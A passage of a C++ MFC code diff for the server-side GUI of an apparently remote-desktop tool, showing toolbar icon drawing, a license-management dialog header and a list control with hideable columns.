pDC->MoveTo(x1, y2); pDC->LineTo(x2, y2);
|
||||
pDC->FillSolidRect(x2 - 6, y2 - 2, 4, 4, CLR_ICON);
|
||||
|
||||
// Line 3 with knob middle
|
||||
pDC->MoveTo(x1, y3); pDC->LineTo(x2, y3);
|
||||
int mid = (x1 + x2) / 2;
|
||||
pDC->FillSolidRect(mid - 2, y3 - 2, 4, 4, CLR_ICON);
|
||||
|
||||
pDC->SelectObject(pOld);
|
||||
}
|
||||
|
||||
// Restore Console: Letter "R" (for RDP session restore)
|
||||
void CIconButton::DrawIconRestoreConsole(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
// 创建字体绘制 "R"
|
||||
CFont font;
|
||||
font.CreateFont(
|
||||
rc.Height() + 2, // height - 字体更大
|
||||
0, 0, 0, // width, escapement, orientation
|
||||
FW_BOLD, // weight - 更粗
|
||||
FALSE, FALSE, FALSE, // italic, underline, strikeout
|
||||
DEFAULT_CHARSET,
|
||||
OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, CLEARTYPE_QUALITY,
|
||||
DEFAULT_PITCH | FF_SWISS,
|
||||
_T("Arial Black")
|
||||
);
|
||||
|
||||
CFont* pOldFont = pDC->SelectObject(&font);
|
||||
pDC->SetTextColor(CLR_ICON);
|
||||
pDC->SetBkMode(TRANSPARENT);
|
||||
pDC->DrawText(_T("R"), -1, (LPRECT)&rc, DT_CENTER | DT_VCENTER | DT_SINGLELINE);
|
||||
pDC->SelectObject(pOldFont);
|
||||
}
|
||||
|
||||
// Minimize: horizontal dash
|
||||
void CIconButton::DrawIconMinimize(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
int cy = rc.CenterPoint().y;
|
||||
pDC->FillSolidRect(rc.left + 3, cy - 1, rc.Width() - 6, 2, CLR_ICON);
|
||||
}
|
||||
|
||||
// Close: X mark
|
||||
void CIconButton::DrawIconClose(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
CPen pen;
|
||||
CPen* pOld = SelectWhitePen(pDC, pen, 2);
|
||||
int m = 3;
|
||||
pDC->MoveTo(rc.left + m, rc.top + m);
|
||||
pDC->LineTo(rc.right - m, rc.bottom - m);
|
||||
pDC->MoveTo(rc.right - m, rc.top + m);
|
||||
pDC->LineTo(rc.left + m, rc.bottom - m);
|
||||
pDC->SelectObject(pOld);
|
||||
}
|
||||
|
||||
// Info: circle with "i" letter (status info visible)
|
||||
void CIconButton::DrawIconInfo(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
CPen pen;
|
||||
CPen* pOld = SelectWhitePen(pDC, pen, 2);
|
||||
|
||||
int cx = rc.CenterPoint().x;
|
||||
int cy = rc.CenterPoint().y;
|
||||
int r = min(rc.Width(), rc.Height()) / 2 - 2;
|
||||
|
||||
// Circle
|
||||
pDC->SelectStockObject(NULL_BRUSH);
|
||||
pDC->Ellipse(cx - r, cy - r, cx + r, cy + r);
|
||||
|
||||
// "i" letter - dot and line
|
||||
pDC->FillSolidRect(cx - 1, cy - r + 3, 2, 2, CLR_ICON); // dot
|
||||
pDC->MoveTo(cx, cy - 2);
|
||||
pDC->LineTo(cx, cy + r - 3); // vertical line
|
||||
|
||||
pDC->SelectObject(pOld);
|
||||
}
|
||||
|
||||
// Info Hide: circle with "i" and diagonal line (status info hidden)
|
||||
void CIconButton::DrawIconInfoHide(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
CPen pen;
|
||||
CPen* pOld = SelectWhitePen(pDC, pen, 2);
|
||||
|
||||
int cx = rc.CenterPoint().x;
|
||||
int cy = rc.CenterPoint().y;
|
||||
int r = min(rc.Width(), rc.Height()) / 2 - 2;
|
||||
|
||||
// Circle
|
||||
pDC->SelectStockObject(NULL_BRUSH);
|
||||
pDC->Ellipse(cx - r, cy - r, cx + r, cy + r);
|
||||
|
||||
// "i" letter - dot and line
|
||||
pDC->FillSolidRect(cx - 1, cy - r + 3, 2, 2, CLR_ICON); // dot
|
||||
pDC->MoveTo(cx, cy - 2);
|
||||
pDC->LineTo(cx, cy + r - 3); // vertical line
|
||||
|
||||
// Diagonal strike-through
|
||||
pDC->MoveTo(rc.left + 2, rc.bottom - 2);
|
||||
pDC->LineTo(rc.right - 2, rc.top + 2);
|
||||
|
||||
pDC->SelectObject(pOld);
|
||||
}
|
||||
|
||||
// Helper function to draw a letter icon (similar to DrawIconRestoreConsole)
|
||||
static void DrawLetterIcon(CDC* pDC, const CRect& rc, LPCTSTR letter)
|
||||
{
|
||||
CFont font;
|
||||
font.CreateFont(
|
||||
rc.Height() + 2, // height
|
||||
0, 0, 0, // width, escapement, orientation
|
||||
FW_BOLD, // weight
|
||||
FALSE, FALSE, FALSE, // italic, underline, strikeout
|
||||
DEFAULT_CHARSET,
|
||||
OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, CLEARTYPE_QUALITY,
|
||||
DEFAULT_PITCH | FF_SWISS,
|
||||
_T("Arial Black")
|
||||
);
|
||||
|
||||
CFont* pOldFont = pDC->SelectObject(&font);
|
||||
pDC->SetTextColor(CLR_ICON);
|
||||
pDC->SetBkMode(TRANSPARENT);
|
||||
pDC->DrawText(letter, -1, (LPRECT)&rc, DT_CENTER | DT_VCENTER | DT_SINGLELINE);
|
||||
pDC->SelectObject(pOldFont);
|
||||
}
|
||||
|
||||
// Letter X icon
|
||||
void CIconButton::DrawIconLetterX(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
DrawLetterIcon(pDC, rc, _T("X"));
|
||||
}
|
||||
|
||||
// Letter Y icon
|
||||
void CIconButton::DrawIconLetterY(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
DrawLetterIcon(pDC, rc, _T("Y"));
|
||||
}
|
||||
|
||||
// Letter Z icon
|
||||
void CIconButton::DrawIconLetterZ(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
DrawLetterIcon(pDC, rc, _T("Z"));
|
||||
}
|
||||
|
||||
// Audio On: speaker with sound waves
|
||||
void CIconButton::DrawIconAudioOn(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
CPen pen;
|
||||
CPen* pOld = SelectWhitePen(pDC, pen, 2);
|
||||
CBrush brush(CLR_ICON);
|
||||
CBrush* pOldBrush = pDC->SelectObject(&brush);
|
||||
|
||||
int cx = rc.CenterPoint().x;
|
||||
int cy = rc.CenterPoint().y;
|
||||
|
||||
// Speaker body (trapezoid shape)
|
||||
POINT speaker[6] = {
|
||||
{ rc.left + 2, cy - 2 }, // top-left of rectangle
|
||||
{ rc.left + 5, cy - 2 }, // top-right of rectangle
|
||||
{ rc.left + 8, cy - 5 }, // top of cone
|
||||
{ rc.left + 8, cy + 5 }, // bottom of cone
|
||||
{ rc.left + 5, cy + 2 }, // bottom-right of rectangle
|
||||
{ rc.left + 2, cy + 2 } // bottom-left of rectangle
|
||||
};
|
||||
pDC->Polygon(speaker, 6);
|
||||
|
||||
pDC->SelectObject(pOldBrush);
|
||||
|
||||
// Sound waves (arcs on the right side)
|
||||
pDC->SelectStockObject(NULL_BRUSH);
|
||||
pDC->Arc(rc.left + 9, cy - 3, rc.left + 13, cy + 3,
|
||||
rc.left + 13, cy - 3, rc.left + 13, cy + 3);
|
||||
pDC->Arc(rc.left + 11, cy - 5, rc.right - 1, cy + 5,
|
||||
rc.right - 1, cy - 5, rc.right - 1, cy + 5);
|
||||
|
||||
pDC->SelectObject(pOld);
|
||||
}
|
||||
|
||||
// Audio Off: speaker with slash
|
||||
void CIconButton::DrawIconAudioOff(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
CPen pen;
|
||||
CPen* pOld = SelectWhitePen(pDC, pen, 2);
|
||||
CBrush brush(CLR_ICON);
|
||||
CBrush* pOldBrush = pDC->SelectObject(&brush);
|
||||
|
||||
int cx = rc.CenterPoint().x;
|
||||
int cy = rc.CenterPoint().y;
|
||||
|
||||
// Speaker body (trapezoid shape)
|
||||
POINT speaker[6] = {
|
||||
{ rc.left + 2, cy - 2 }, // top-left of rectangle
|
||||
{ rc.left + 5, cy - 2 }, // top-right of rectangle
|
||||
{ rc.left + 8, cy - 5 }, // top of cone
|
||||
{ rc.left + 8, cy + 5 }, // bottom of cone
|
||||
{ rc.left + 5, cy + 2 }, // bottom-right of rectangle
|
||||
{ rc.left + 2, cy + 2 } // bottom-left of rectangle
|
||||
};
|
||||
pDC->Polygon(speaker, 6);
|
||||
|
||||
pDC->SelectObject(pOldBrush);
|
||||
|
||||
// X mark on the right side (muted)
|
||||
pDC->MoveTo(rc.left + 10, cy - 3);
|
||||
pDC->LineTo(rc.right - 2, cy + 3);
|
||||
pDC->MoveTo(rc.right - 2, cy - 3);
|
||||
pDC->LineTo(rc.left + 10, cy + 3);
|
||||
|
||||
pDC->SelectObject(pOld);
|
||||
}
|
||||
66
server/2015Remote/CIconButton.h
Normal file
66
server/2015Remote/CIconButton.h
Normal file
@@ -0,0 +1,66 @@
|
||||
#pragma once
|
||||
|
||||
// CIconButton - Owner-draw button with geometric icon drawing
|
||||
// Used by the fullscreen toolbar for a modern, icon-based appearance.
|
||||
|
||||
#include <functional>
|
||||
|
||||
class CIconButton : public CButton
|
||||
{
|
||||
DECLARE_DYNAMIC(CIconButton)
|
||||
|
||||
public:
|
||||
// Icon drawing function: receives CDC* and icon bounding CRect
|
||||
typedef void (*IconDrawFunc)(CDC* pDC, const CRect& rc);
|
||||
|
||||
CIconButton();
|
||||
virtual ~CIconButton();
|
||||
|
||||
void SetIconDrawFunc(IconDrawFunc fn) { m_fnDrawIcon = fn; }
|
||||
void SetIsCloseButton(bool b) { m_bIsCloseButton = b; }
|
||||
|
||||
// --- Static icon draw functions ---
|
||||
static void DrawIconExitFullscreen(CDC* pDC, const CRect& rc);
|
||||
static void DrawIconPlay(CDC* pDC, const CRect& rc);
|
||||
static void DrawIconPause(CDC* pDC, const CRect& rc);
|
||||
static void DrawIconLock(CDC* pDC, const CRect& rc);
|
||||
static void DrawIconUnlock(CDC* pDC, const CRect& rc);
|
||||
static void DrawIconArrowDown(CDC* pDC, const CRect& rc);
|
||||
static void DrawIconArrowUp(CDC* pDC, const CRect& rc);
|
||||
static void DrawIconArrowLeft(CDC* pDC, const CRect& rc);
|
||||
static void DrawIconArrowRight(CDC* pDC, const CRect& rc);
|
||||
static void DrawIconOpacityFull(CDC* pDC, const CRect& rc);
|
||||
static void DrawIconOpacityMedium(CDC* pDC, const CRect& rc);
|
||||
static void DrawIconOpacityLow(CDC* pDC, const CRect& rc);
|
||||
static void DrawIconScreenshot(CDC* pDC, const CRect& rc);
|
||||
static void DrawIconSwitchScreen(CDC* pDC, const CRect& rc);
|
||||
static void DrawIconBlockInput(CDC* pDC, const CRect& rc);
|
||||
static void DrawIconUnblockInput(CDC* pDC, const CRect& rc);
|
||||
static void DrawIconQuality(CDC* pDC, const CRect& rc);
|
||||
static void DrawIconRestoreConsole(CDC* pDC, const CRect& rc);
|
||||
static void DrawIconMinimize(CDC* pDC, const CRect& rc);
|
||||
static void DrawIconClose(CDC* pDC, const CRect& rc);
|
||||
static void DrawIconInfo(CDC* pDC, const CRect& rc);
|
||||
static void DrawIconInfoHide(CDC* pDC, const CRect& rc);
|
||||
static void DrawIconLetterX(CDC* pDC, const CRect& rc); // 字母 X 图标
|
||||
static void DrawIconLetterY(CDC* pDC, const CRect& rc); // 字母 Y 图标
|
||||
static void DrawIconLetterZ(CDC* pDC, const CRect& rc); // 字母 Z 图标
|
||||
static void DrawIconAudioOn(CDC* pDC, const CRect& rc); // 音频开启图标 (喇叭+声波)
|
||||
static void DrawIconAudioOff(CDC* pDC, const CRect& rc); // 音频关闭图标 (喇叭+斜线)
|
||||
|
||||
protected:
|
||||
virtual void DrawItem(LPDRAWITEMSTRUCT lpDrawItemStruct);
|
||||
virtual void PreSubclassWindow();
|
||||
|
||||
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
|
||||
afx_msg void OnMouseLeave();
|
||||
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
private:
|
||||
IconDrawFunc m_fnDrawIcon;
|
||||
bool m_bHover;
|
||||
bool m_bIsCloseButton;
|
||||
bool m_bTracking;
|
||||
};
|
||||
1012
server/2015Remote/CLicenseDlg.cpp
Normal file
1012
server/2015Remote/CLicenseDlg.cpp
Normal file
File diff suppressed because it is too large
Load Diff
132
server/2015Remote/CLicenseDlg.h
Normal file
132
server/2015Remote/CLicenseDlg.h
Normal file
@@ -0,0 +1,132 @@
|
||||
#pragma once
|
||||
|
||||
#include <afx.h>
|
||||
#include <afxwin.h>
|
||||
#include <afxcmn.h>
|
||||
#include "Resource.h"
|
||||
#include "LangManager.h"
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
// 授权状态常量
|
||||
#define LICENSE_STATUS_ACTIVE "Active"
|
||||
#define LICENSE_STATUS_REVOKED "Revoked"
|
||||
#define LICENSE_STATUS_EXPIRED "Expired"
|
||||
|
||||
// 授权信息结构体
|
||||
struct LicenseInfo {
|
||||
std::string SerialNumber;
|
||||
std::string Passcode;
|
||||
std::string HMAC;
|
||||
std::string Status; // Active, Revoked, Expired
|
||||
std::string Remark;
|
||||
std::string CreateTime;
|
||||
std::string IP;
|
||||
std::string Location;
|
||||
std::string LastActiveTime;
|
||||
std::string PendingExpireDate; // 预设的新过期日期(如 20270221,空表示无预设)
|
||||
int PendingHostNum = 0; // 预设的并发连接数
|
||||
int PendingQuota = 0; // 预设的配额数量(支持多机器续期)
|
||||
};
|
||||
|
||||
// 续期信息结构体
|
||||
struct RenewalInfo {
|
||||
std::string ExpireDate; // 新的过期日期(如 20270221)
|
||||
int HostNum = 0;
|
||||
int Quota = 1; // 配额数量,默认为1
|
||||
bool IsValid() const { return !ExpireDate.empty() && HostNum > 0 && Quota > 0; }
|
||||
};
|
||||
|
||||
class CMy2015RemoteDlg; // 前向声明
|
||||
|
||||
// 授权列表列索引
|
||||
enum LicenseColumn {
|
||||
LIC_COL_ID = 0,
|
||||
LIC_COL_SERIAL,
|
||||
LIC_COL_STATUS,
|
||||
LIC_COL_EXPIRE,
|
||||
LIC_COL_REMARK,
|
||||
LIC_COL_PASSCODE,
|
||||
LIC_COL_HMAC,
|
||||
LIC_COL_IP,
|
||||
LIC_COL_LOCATION,
|
||||
LIC_COL_LASTACTIVE,
|
||||
LIC_COL_CREATETIME
|
||||
};
|
||||
|
||||
// CLicenseDlg 对话框
|
||||
class CLicenseDlg : public CDialogLangEx
|
||||
{
|
||||
DECLARE_DYNAMIC(CLicenseDlg)
|
||||
|
||||
public:
|
||||
CLicenseDlg(CMy2015RemoteDlg* pParent = nullptr);
|
||||
virtual ~CLicenseDlg();
|
||||
|
||||
enum { IDD = IDD_DIALOG_LICENSE };
|
||||
|
||||
protected:
|
||||
HICON m_hIcon = NULL;
|
||||
CMy2015RemoteDlg* m_pParent = nullptr;
|
||||
int m_nSortColumn = -1;
|
||||
BOOL m_bSortAscending = TRUE;
|
||||
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
virtual BOOL OnInitDialog();
|
||||
virtual void OnCancel();
|
||||
virtual void OnOK();
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
public:
|
||||
CListCtrl m_ListLicense;
|
||||
std::vector<LicenseInfo> m_Licenses;
|
||||
|
||||
void LoadLicenses();
|
||||
void RefreshList();
|
||||
void InitListColumns();
|
||||
void ShowAndRefresh(); // 显示并刷新数据
|
||||
void SortByColumn(int nColumn, BOOL bAscending);
|
||||
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg void OnNMRClickLicenseList(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnColumnClick(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnLicenseRevoke();
|
||||
afx_msg void OnLicenseActivate();
|
||||
afx_msg void OnLicenseRenewal();
|
||||
afx_msg void OnLicenseEditRemark();
|
||||
afx_msg void OnLicenseViewIPs();
|
||||
afx_msg void OnLicenseDelete();
|
||||
};
|
||||
|
||||
// 获取所有授权信息
|
||||
std::vector<LicenseInfo> GetAllLicenses();
|
||||
|
||||
// 更新授权状态
|
||||
bool SetLicenseStatus(const std::string& deviceID, const std::string& status);
|
||||
|
||||
// 续期管理函数
|
||||
bool SetPendingRenewal(const std::string& deviceID, const std::string& expireDate, int hostNum, int quota = 1);
|
||||
RenewalInfo GetPendingRenewal(const std::string& deviceID);
|
||||
bool ClearPendingRenewal(const std::string& deviceID);
|
||||
bool DecrementPendingQuota(const std::string& deviceID); // 配额递减,返回是否还有剩余配额
|
||||
|
||||
// 从 passcode 解析过期日期(第2段,如 20260221)
|
||||
std::string ParseExpireDateFromPasscode(const std::string& passcode);
|
||||
|
||||
// 从 passcode 解析并发连接数(第3段)
|
||||
int ParseHostNumFromPasscode(const std::string& passcode);
|
||||
|
||||
// 设置授权备注
|
||||
bool SetLicenseRemark(const std::string& deviceID, const std::string& remark);
|
||||
|
||||
// 删除授权
|
||||
bool DeleteLicense(const std::string& deviceID);
|
||||
|
||||
// IP 列表辅助函数
|
||||
int GetIPCountFromList(const std::string& ipListStr);
|
||||
std::string GetFirstIPFromList(const std::string& ipListStr);
|
||||
std::string FormatIPDisplay(const std::string& ipListStr); // 格式化显示: "[3] 192.168.1.1, ..."
|
||||
|
||||
// 检查 IP+机器名 是否在授权数据库中存在
|
||||
bool FindLicenseByIPAndMachine(const std::string& ip, const std::string& machineName, std::string* outSN = nullptr);
|
||||
311
server/2015Remote/CListCtrlEx.cpp
Normal file
311
server/2015Remote/CListCtrlEx.cpp
Normal file
@@ -0,0 +1,311 @@
|
||||
#include "stdafx.h"
|
||||
#include "CListCtrlEx.h"
|
||||
#include "2015Remote.h"
|
||||
|
||||
// CHeaderCtrlEx 实现
|
||||
BEGIN_MESSAGE_MAP(CHeaderCtrlEx, CHeaderCtrl)
|
||||
ON_NOTIFY_REFLECT(HDN_BEGINTRACKA, &CHeaderCtrlEx::OnBeginTrack)
|
||||
ON_NOTIFY_REFLECT(HDN_BEGINTRACKW, &CHeaderCtrlEx::OnBeginTrack)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
void CHeaderCtrlEx::OnBeginTrack(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
{
|
||||
LPNMHEADER pNMHeader = reinterpret_cast<LPNMHEADER>(pNMHDR);
|
||||
int nCol = pNMHeader->iItem;
|
||||
|
||||
if (m_pListCtrl && nCol >= 0 && nCol < (int)m_pListCtrl->m_Columns.size()) {
|
||||
if (!m_pListCtrl->m_Columns[nCol].Visible) {
|
||||
*pResult = TRUE; // 阻止拖拽
|
||||
return;
|
||||
}
|
||||
}
|
||||
*pResult = FALSE;
|
||||
}
|
||||
|
||||
// CListCtrlEx 实现
|
||||
IMPLEMENT_DYNAMIC(CListCtrlEx, CListCtrl)
|
||||
|
||||
CListCtrlEx::CListCtrlEx()
|
||||
{
|
||||
}
|
||||
|
||||
CListCtrlEx::~CListCtrlEx()
|
||||
{
|
||||
}
|
||||
|
||||
BEGIN_MESSAGE_MAP(CListCtrlEx, CListCtrl)
|
||||
ON_WM_CONTEXTMENU()
|
||||
ON_WM_ERASEBKGND()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
void CListCtrlEx::SetConfigKey(const CString& strKey)
|
||||
{
|
||||
m_strConfigKey = strKey;
|
||||
}
|
||||
|
||||
void CListCtrlEx::PreSubclassWindow()
|
||||
{
|
||||
CListCtrl::PreSubclassWindow();
|
||||
|
||||
// 虚拟列表模式必须在窗口创建后立即设置
|
||||
if (m_bVirtualMode) {
|
||||
// 使用 SetWindowLong 直接添加样式(ModifyStyle 对某些样式不起作用)
|
||||
LONG_PTR style = ::GetWindowLongPtr(m_hWnd, GWL_STYLE);
|
||||
style |= LVS_OWNERDATA;
|
||||
::SetWindowLongPtr(m_hWnd, GWL_STYLE, style);
|
||||
}
|
||||
}
|
||||
|
||||
int CListCtrlEx::AddColumn(int nCol, LPCTSTR lpszColumnHeading, int nWidth, int nFormat, BOOL bCanHide)
|
||||
{
|
||||
// 添加到列表控件
|
||||
int nResult = InsertColumnL(nCol, lpszColumnHeading, nFormat, nWidth);
|
||||
|
||||
if (nResult != -1) {
|
||||
// 保存列信息
|
||||
ColumnInfoEx info;
|
||||
info.Name = lpszColumnHeading;
|
||||
info.Width = nWidth;
|
||||
info.Percent = 0.0f; // 稍后在 InitColumns 中计算
|
||||
info.Visible = TRUE;
|
||||
info.CanHide = bCanHide;
|
||||
|
||||
// 确保 vector 大小足够
|
||||
if (nCol >= (int)m_Columns.size()) {
|
||||
m_Columns.resize(nCol + 1);
|
||||
}
|
||||
m_Columns[nCol] = info;
|
||||
}
|
||||
|
||||
return nResult;
|
||||
}
|
||||
|
||||
void CListCtrlEx::InitColumns()
|
||||
{
|
||||
if (m_Columns.empty()) {
|
||||
return;
|
||||
}
|
||||
|
||||
// 子类化 Header 控件
|
||||
SubclassHeader();
|
||||
|
||||
// 计算总宽度和百分比
|
||||
int totalWidth = 0;
|
||||
for (const auto& col : m_Columns) {
|
||||
totalWidth += col.Width;
|
||||
}
|
||||
|
||||
if (totalWidth > 0) {
|
||||
for (auto& col : m_Columns) {
|
||||
col.Percent = (float)col.Width / totalWidth;
|
||||
}
|
||||
}
|
||||
|
||||
// 从配置加载列可见性
|
||||
LoadColumnVisibility();
|
||||
|
||||
// 应用列宽
|
||||
AdjustColumnWidths();
|
||||
}
|
||||
|
||||
void CListCtrlEx::SubclassHeader()
|
||||
{
|
||||
CHeaderCtrl* pHeader = GetHeaderCtrl();
|
||||
if (pHeader && !m_HeaderCtrl.GetSafeHwnd()) {
|
||||
m_HeaderCtrl.SubclassWindow(pHeader->GetSafeHwnd());
|
||||
m_HeaderCtrl.m_pListCtrl = this;
|
||||
}
|
||||
}
|
||||
|
||||
void CListCtrlEx::AdjustColumnWidths()
|
||||
{
|
||||
if (m_Columns.empty() || GetSafeHwnd() == NULL) {
|
||||
return;
|
||||
}
|
||||
|
||||
CRect rect;
|
||||
GetClientRect(&rect);
|
||||
int totalWidth = rect.Width() - 20; // 减去滚动条宽度
|
||||
|
||||
// 计算可见列的总百分比
|
||||
float visiblePercent = 0.0f;
|
||||
for (const auto& col : m_Columns) {
|
||||
if (col.Visible) {
|
||||
visiblePercent += col.Percent;
|
||||
}
|
||||
}
|
||||
|
||||
// 按比例分配宽度给可见列
|
||||
for (int i = 0; i < (int)m_Columns.size(); i++) {
|
||||
if (m_Columns[i].Visible) {
|
||||
int width = (visiblePercent > 0) ? (int)(totalWidth * m_Columns[i].Percent / visiblePercent) : 0;
|
||||
SetColumnWidth(i, width);
|
||||
} else {
|
||||
SetColumnWidth(i, 0); // 隐藏列
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
BOOL CListCtrlEx::IsColumnVisible(int nCol) const
|
||||
{
|
||||
if (nCol >= 0 && nCol < (int)m_Columns.size()) {
|
||||
return m_Columns[nCol].Visible;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CListCtrlEx::SetColumnVisible(int nCol, BOOL bVisible)
|
||||
{
|
||||
if (nCol >= 0 && nCol < (int)m_Columns.size()) {
|
||||
if (m_Columns[nCol].CanHide || bVisible) { // 不允许隐藏的列只能设为可见
|
||||
m_Columns[nCol].Visible = bVisible;
|
||||
AdjustColumnWidths();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void CListCtrlEx::OnContextMenu(CWnd* pWnd, CPoint pt)
|
||||
{
|
||||
// 检查是否点击在表头区域
|
||||
CHeaderCtrl* pHeader = GetHeaderCtrl();
|
||||
if (pHeader) {
|
||||
CRect headerRect;
|
||||
pHeader->GetWindowRect(&headerRect);
|
||||
if (headerRect.PtInRect(pt)) {
|
||||
ShowColumnContextMenu(pt);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// 非表头区域,调用父类处理
|
||||
CListCtrl::OnContextMenu(pWnd, pt);
|
||||
}
|
||||
|
||||
void CListCtrlEx::ShowColumnContextMenu(CPoint pt)
|
||||
{
|
||||
CMenu menu;
|
||||
menu.CreatePopupMenu();
|
||||
|
||||
// 添加所有列到菜单(跳过空标题的列)
|
||||
for (int i = 0; i < (int)m_Columns.size(); i++) {
|
||||
// 跳过空标题的列
|
||||
if (m_Columns[i].Name.IsEmpty()) {
|
||||
continue;
|
||||
}
|
||||
|
||||
UINT flags = MF_STRING;
|
||||
if (m_Columns[i].Visible) {
|
||||
flags |= MF_CHECKED;
|
||||
}
|
||||
// 不允许隐藏的列显示为灰色
|
||||
if (!m_Columns[i].CanHide) {
|
||||
flags |= MF_GRAYED;
|
||||
}
|
||||
menu.AppendMenuL(flags, 1000 + i, m_Columns[i].Name);
|
||||
}
|
||||
|
||||
// 显示菜单并获取选择
|
||||
int nCmd = menu.TrackPopupMenu(TPM_RETURNCMD | TPM_LEFTALIGN | TPM_RIGHTBUTTON, pt.x, pt.y, this);
|
||||
if (nCmd >= 1000 && nCmd < 1000 + (int)m_Columns.size()) {
|
||||
ToggleColumnVisibility(nCmd - 1000);
|
||||
}
|
||||
}
|
||||
|
||||
void CListCtrlEx::ToggleColumnVisibility(int nColumn)
|
||||
{
|
||||
if (nColumn < 0 || nColumn >= (int)m_Columns.size()) {
|
||||
return;
|
||||
}
|
||||
|
||||
// 不允许隐藏的列不处理
|
||||
if (!m_Columns[nColumn].CanHide) {
|
||||
return;
|
||||
}
|
||||
|
||||
// 切换可见性
|
||||
m_Columns[nColumn].Visible = !m_Columns[nColumn].Visible;
|
||||
|
||||
// 保存到配置
|
||||
SaveColumnVisibility();
|
||||
|
||||
// 重新调整列宽
|
||||
AdjustColumnWidths();
|
||||
}
|
||||
|
||||
void CListCtrlEx::LoadColumnVisibility()
|
||||
{
|
||||
if (m_strConfigKey.IsEmpty()) {
|
||||
return; // 没有设置配置键,不加载
|
||||
}
|
||||
|
||||
// 配置结构:list\{ConfigKey},如 list\ClientList
|
||||
// 格式:逗号分隔的隐藏列名,如 "备注,程序路径"
|
||||
CT2A configKeyA(m_strConfigKey);
|
||||
std::string strHidden = THIS_CFG.GetStr("list", std::string(configKeyA), "");
|
||||
if (strHidden.empty()) {
|
||||
return; // 使用默认值(全部显示)
|
||||
}
|
||||
|
||||
// 解析隐藏的列名
|
||||
std::vector<std::string> hiddenNames = StringToVector(strHidden, ',');
|
||||
for (const auto& name : hiddenNames) {
|
||||
// 查找列名对应的索引
|
||||
for (int i = 0; i < (int)m_Columns.size(); i++) {
|
||||
CT2A colNameA(m_Columns[i].Name);
|
||||
if (name == std::string(colNameA)) {
|
||||
if (m_Columns[i].CanHide) {
|
||||
m_Columns[i].Visible = FALSE;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void CListCtrlEx::SaveColumnVisibility()
|
||||
{
|
||||
if (m_strConfigKey.IsEmpty()) {
|
||||
return; // 没有设置配置键,不保存
|
||||
}
|
||||
|
||||
// 只保存隐藏的列名
|
||||
std::string strHidden;
|
||||
for (int i = 0; i < (int)m_Columns.size(); i++) {
|
||||
if (!m_Columns[i].Visible) {
|
||||
if (!strHidden.empty()) strHidden += ",";
|
||||
CT2A colNameA(m_Columns[i].Name);
|
||||
strHidden += std::string(colNameA);
|
||||
}
|
||||
}
|
||||
|
||||
// 配置结构:list\{ConfigKey},如 list\ClientList
|
||||
CT2A configKeyA(m_strConfigKey);
|
||||
THIS_CFG.SetStr("list", std::string(configKeyA), strHidden);
|
||||
}
|
||||
|
||||
BOOL CListCtrlEx::OnEraseBkgnd(CDC* pDC)
|
||||
{
|
||||
if (m_bSkipEraseBkgnd) {
|
||||
// 只擦除列表底部空白区域,避免残影
|
||||
int nItemCount = GetItemCount();
|
||||
if (nItemCount > 0) {
|
||||
CRect rcItem;
|
||||
// 获取最后一项的矩形
|
||||
if (GetItemRect(nItemCount - 1, &rcItem, LVIR_BOUNDS)) {
|
||||
CRect rcClient;
|
||||
GetClientRect(&rcClient);
|
||||
// 如果最后一项下方有空白区域,擦除它
|
||||
if (rcItem.bottom < rcClient.bottom) {
|
||||
CRect rcEmpty(rcClient.left, rcItem.bottom, rcClient.right, rcClient.bottom);
|
||||
pDC->FillSolidRect(&rcEmpty, GetBkColor());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// 没有项目时,擦除整个背景
|
||||
return CListCtrl::OnEraseBkgnd(pDC);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
return CListCtrl::OnEraseBkgnd(pDC);
|
||||
}
|
||||
|
||||
99
server/2015Remote/CListCtrlEx.h
Normal file
99
server/2015Remote/CListCtrlEx.h
Normal file
@@ -0,0 +1,99 @@
|
||||
#pragma once
|
||||
|
||||
#include <vector>
|
||||
#include <string>
|
||||
|
||||
// 列信息结构
|
||||
struct ColumnInfoEx {
|
||||
CString Name; // 列名
|
||||
int Width; // 初始宽度
|
||||
float Percent; // 占比
|
||||
BOOL Visible; // 是否可见
|
||||
BOOL CanHide; // 是否允许隐藏(如序号列不允许)
|
||||
};
|
||||
|
||||
class CListCtrlEx;
|
||||
|
||||
// 自定义 Header 控件,用于阻止隐藏列被拖拽
|
||||
class CHeaderCtrlEx : public CHeaderCtrl
|
||||
{
|
||||
public:
|
||||
CListCtrlEx* m_pListCtrl = nullptr;
|
||||
|
||||
protected:
|
||||
DECLARE_MESSAGE_MAP()
|
||||
afx_msg void OnBeginTrack(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
};
|
||||
|
||||
// CListCtrlEx - 支持列显示/隐藏功能的列表控件
|
||||
class CListCtrlEx : public CListCtrl
|
||||
{
|
||||
DECLARE_DYNAMIC(CListCtrlEx)
|
||||
